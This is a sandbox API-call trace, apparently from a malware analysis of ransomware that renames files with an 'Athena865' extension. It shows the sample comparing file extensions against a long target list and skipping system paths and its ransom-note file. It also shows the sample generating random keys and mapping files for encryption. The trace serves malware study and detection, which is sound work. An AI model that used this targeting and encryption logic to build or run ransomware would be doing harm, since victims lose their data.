lstrlenW (lpString="accdt") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1 [0105.517] lstrlenW (lpString="accdw") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1 [0105.517] lstrlenW (lpString="accft") returned 5 [0105.517] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1 [0105.517] lstrlenW (lpString="adb") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.517] lstrlenW (lpString="adb") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0105.517] lstrlenW (lpString="ade") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0105.517] lstrlenW (lpString="adf") returned 3 [0105.517] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0105.517] lstrlenW (lpString="adn") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0105.518] lstrlenW (lpString="adp") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0105.518] lstrlenW (lpString="alf") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0105.518] lstrlenW (lpString="ask") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0105.518] lstrlenW (lpString="btr") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0105.518] lstrlenW (lpString="cat") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0105.518] lstrlenW (lpString="cdb") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0105.518] lstrlenW (lpString="ckp") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0105.518] lstrlenW (lpString="cma") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0105.518] lstrlenW (lpString="cpd") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0105.518] lstrlenW (lpString="dacpac") returned 6 [0105.518] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1 [0105.518] lstrlenW (lpString="dad") returned 3 [0105.518] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0105.518] lstrlenW (lpString="dadiagrams") returned 10 [0105.518] lstrlenW (lpString="daschema") returned 8 [0105.518] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1 [0105.518] lstrlenW (lpString="db-journal") returned 10 [0105.518] lstrlenW (lpString="db-shm") returned 6 [0105.518] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1 [0105.518] lstrlenW (lpString="db-wal") returned 6 [0105.518] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1 [0105.519] lstrlenW (lpString="dbc") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0105.519] lstrlenW (lpString="dbs") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0105.519] lstrlenW (lpString="dbt") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0105.519] lstrlenW (lpString="dbv") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0105.519] lstrlenW (lpString="dbx") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0105.519] lstrlenW (lpString="dcb") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0105.519] lstrlenW (lpString="dct") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0105.519] lstrlenW (lpString="dcx") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0105.519] lstrlenW (lpString="ddl") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0105.519] lstrlenW (lpString="dlis") returned 4 [0105.519] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0105.519] lstrlenW (lpString="dp1") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0105.519] lstrlenW (lpString="dqy") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0105.519] lstrlenW (lpString="dsk") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0105.519] lstrlenW (lpString="dsn") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0105.519] lstrlenW (lpString="dtsx") returned 4 [0105.519] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0105.519] lstrlenW (lpString="dxl") returned 3 [0105.519] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0105.520] lstrlenW (lpString="eco") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0105.520] lstrlenW (lpString="ecx") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0105.520] lstrlenW (lpString="edb") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0105.520] lstrlenW (lpString="epim") returned 4 [0105.520] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0105.520] lstrlenW (lpString="fcd") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0105.520] lstrlenW (lpString="fdb") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0105.520] lstrlenW (lpString="fic") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0105.520] lstrlenW (lpString="flexolibrary") returned 12 [0105.520] lstrlenW (lpString="fm5") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0105.520] lstrlenW (lpString="fmp") returned 3 [0105.520] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0105.520] lstrlenW (lpString="fmp12") returned 5 [0105.520] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1 [0105.520] lstrlenW (lpString="fmpsl") returned 5 [0105.521] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1 [0105.521] lstrlenW (lpString="fol") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0105.521] lstrlenW (lpString="fp3") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0105.521] lstrlenW (lpString="fp4") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0105.521] lstrlenW (lpString="fp5") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0105.521] lstrlenW (lpString="fp7") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0105.521] lstrlenW (lpString="fpt") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0105.521] lstrlenW (lpString="frm") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0105.521] lstrlenW (lpString="gdb") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.521] lstrlenW (lpString="gdb") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0105.521] lstrlenW (lpString="grdb") returned 4 [0105.521] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0105.521] lstrlenW (lpString="gwi") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0105.521] lstrlenW (lpString="hdb") returned 3 [0105.521] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0105.521] lstrlenW (lpString="his") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0105.522] lstrlenW (lpString="ib") returned 2 [0105.522] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0105.522] lstrlenW (lpString="idb") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0105.522] lstrlenW (lpString="ihx") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0105.522] lstrlenW (lpString="itdb") returned 4 [0105.522] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0105.522] lstrlenW (lpString="itw") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0105.522] lstrlenW (lpString="jet") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0105.522] lstrlenW (lpString="jtx") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0105.522] lstrlenW (lpString="kdb") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0105.522] lstrlenW (lpString="kexi") returned 4 [0105.522] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0105.522] lstrlenW (lpString="kexic") returned 5 [0105.522] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1 [0105.522] lstrlenW (lpString="kexis") returned 5 [0105.522] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1 [0105.522] lstrlenW (lpString="lgc") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0105.522] lstrlenW (lpString="lwx") returned 3 [0105.522] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0105.523] lstrlenW (lpString="maf") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0105.523] lstrlenW (lpString="maq") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0105.523] lstrlenW (lpString="mar") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0105.523] lstrlenW (lpString="marshal") returned 7 [0105.523] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1 [0105.523] lstrlenW (lpString="mas") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0105.523] lstrlenW (lpString="mav") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0105.523] lstrlenW (lpString="maw") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0105.523] lstrlenW (lpString="mdbhtml") returned 7 [0105.523] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1 [0105.523] lstrlenW (lpString="mdn") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0105.523] lstrlenW (lpString="mdt") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0105.523] lstrlenW (lpString="mfd") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0105.523] lstrlenW (lpString="mpd") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0105.523] lstrlenW (lpString="mrg") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0105.523] lstrlenW (lpString="mud") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0105.523] lstrlenW (lpString="mwb") returned 3 [0105.523] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0105.523] lstrlenW (lpString="myd") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0105.524] lstrlenW (lpString="ndf") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0105.524] lstrlenW (lpString="nnt") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0105.524] lstrlenW (lpString="nrmlib") returned 6 [0105.524] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1 [0105.524] lstrlenW (lpString="ns2") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0105.524] lstrlenW (lpString="ns3") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0105.524] lstrlenW (lpString="ns4") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0105.524] lstrlenW (lpString="nsf") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0105.524] lstrlenW (lpString="nv") returned 2 [0105.524] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0105.524] lstrlenW (lpString="nv2") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0105.524] lstrlenW (lpString="nwdb") returned 4 [0105.524] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0105.524] lstrlenW (lpString="nyf") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0105.524] lstrlenW (lpString="odb") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.524] lstrlenW (lpString="odb") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0105.524] lstrlenW (lpString="oqy") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0105.524] lstrlenW (lpString="ora") returned 3 [0105.524] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0105.524] lstrlenW (lpString="orx") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0105.525] lstrlenW (lpString="owc") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0105.525] lstrlenW (lpString="p96") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0105.525] lstrlenW (lpString="p97") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0105.525] lstrlenW (lpString="pan") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0105.525] lstrlenW (lpString="pdb") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0105.525] lstrlenW (lpString="pdm") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0105.525] lstrlenW (lpString="pnz") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0105.525] lstrlenW (lpString="qry") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0105.525] lstrlenW (lpString="qvd") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0105.525] lstrlenW (lpString="rbf") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0105.525] lstrlenW (lpString="rctd") returned 4 [0105.525] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0105.525] lstrlenW (lpString="rod") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0105.525] lstrlenW (lpString="rodx") returned 4 [0105.525] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0105.525] lstrlenW (lpString="rpd") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0105.525] lstrlenW (lpString="rsd") returned 3 [0105.525] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0105.525] lstrlenW (lpString="sas7bdat") returned 8 [0105.526] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1 [0105.526] lstrlenW (lpString="sbf") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0105.526] lstrlenW (lpString="scx") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0105.526] lstrlenW (lpString="sdb") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0105.526] lstrlenW (lpString="sdc") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0105.526] lstrlenW (lpString="sdf") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0105.526] lstrlenW (lpString="sis") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0105.526] lstrlenW (lpString="spq") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0105.526] lstrlenW (lpString="te") returned 2 [0105.526] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0105.526] lstrlenW (lpString="teacher") returned 7 [0105.526] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1 [0105.526] lstrlenW (lpString="tmd") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0105.526] lstrlenW (lpString="tps") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0105.526] lstrlenW (lpString="trc") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.526] lstrlenW (lpString="trc") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0105.526] lstrlenW (lpString="trm") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0105.526] lstrlenW (lpString="udb") returned 3 [0105.526] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0105.527] lstrlenW (lpString="udl") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0105.527] lstrlenW (lpString="usr") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0105.527] lstrlenW (lpString="v12") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0105.527] lstrlenW (lpString="vis") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0105.527] lstrlenW (lpString="vpd") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0105.527] lstrlenW (lpString="vvv") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0105.527] lstrlenW (lpString="wdb") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0105.527] lstrlenW (lpString="wmdb") returned 4 [0105.527] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0105.527] lstrlenW (lpString="wrk") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0105.527] lstrlenW (lpString="xdb") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0105.527] lstrlenW (lpString="xld") returned 3 [0105.527] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0105.527] lstrlenW (lpString="xmlff") returned 5 [0105.527] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1 [0105.527] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.Athena865") returned 91 [0105.527] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.athena865"), dwFlags=0x1) returned 1 [0105.529] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.530] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13642474) returned 1 [0105.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.530] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.531] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.531] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.531] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd02df0, lpName=0x0) returned 0x154 [0105.532] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xc00000, dwNumberOfBytesToMap=0x102df0) returned 0x2d50000 [0105.576] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0105.645] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0105.662] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.663] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.663] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0105.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0105.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0105.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0105.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0105.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0105.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0105.664] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0105.673] CloseHandle (hObject=0x154) returned 1 [0105.673] CloseHandle (hObject=0x17c) returned 1 [0105.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0105.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0105.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0105.681] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1 [0105.681] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1 [0105.682] lstrlenW (lpString="Proof.msi") returned 9 [0105.682] lstrcpyW (in: lpString1=0x241e8d8, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi" [0105.682] lstrlenW (lpString="Proof.msi") returned 9 [0105.682] lstrlenW (lpString="Athena865") returned 9 [0105.682] lstrlenW (lpString=".dll") returned 4 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1 [0105.682] lstrlenW (lpString=".lnk") returned 4 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1 [0105.682] lstrlenW (lpString=".ini") returned 4 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1 [0105.682] lstrlenW (lpString=".sys") returned 4 [0105.682] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1 [0105.682] lstrlenW (lpString="Proof.msi") returned 9 [0105.682] lstrlenW (lpString="bak") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0105.682] lstrlenW (lpString="ba_") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0105.682] lstrlenW (lpString="dbb") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0105.682] lstrlenW (lpString="vmdk") returned 4 [0105.682] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0105.682] lstrlenW (lpString="rar") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0105.682] lstrlenW (lpString="zip") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0105.682] lstrlenW (lpString="tgz") returned 3 [0105.682] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0105.682] lstrlenW (lpString="vbox") returned 4 [0105.682] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0105.683] lstrlenW (lpString="vdi") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0105.683] lstrlenW (lpString="vhd") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0105.683] lstrlenW (lpString="vhdx") returned 4 [0105.683] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0105.683] lstrlenW (lpString="avhd") returned 4 [0105.683] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0105.683] lstrlenW (lpString="db") returned 2 [0105.683] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0105.683] lstrlenW (lpString="db2") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0105.683] lstrlenW (lpString="db3") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0105.683] lstrlenW (lpString="dbf") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0105.683] lstrlenW (lpString="mdf") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0105.683] lstrlenW (lpString="mdb") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0105.683] lstrlenW (lpString="sql") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0105.683] lstrlenW (lpString="sqlite") returned 6 [0105.683] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1 [0105.683] lstrlenW (lpString="sqlite3") returned 7 [0105.683] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1 [0105.683] lstrlenW (lpString="sqlitedb") returned 8 [0105.683] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1 [0105.683] lstrlenW (lpString="xml") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0105.683] lstrlenW (lpString="$er") returned 3 [0105.683] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0105.683] lstrlenW (lpString="4dd") returned 3 [0105.684] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0105.684] lstrlenW (lpString="4dl") returned 3 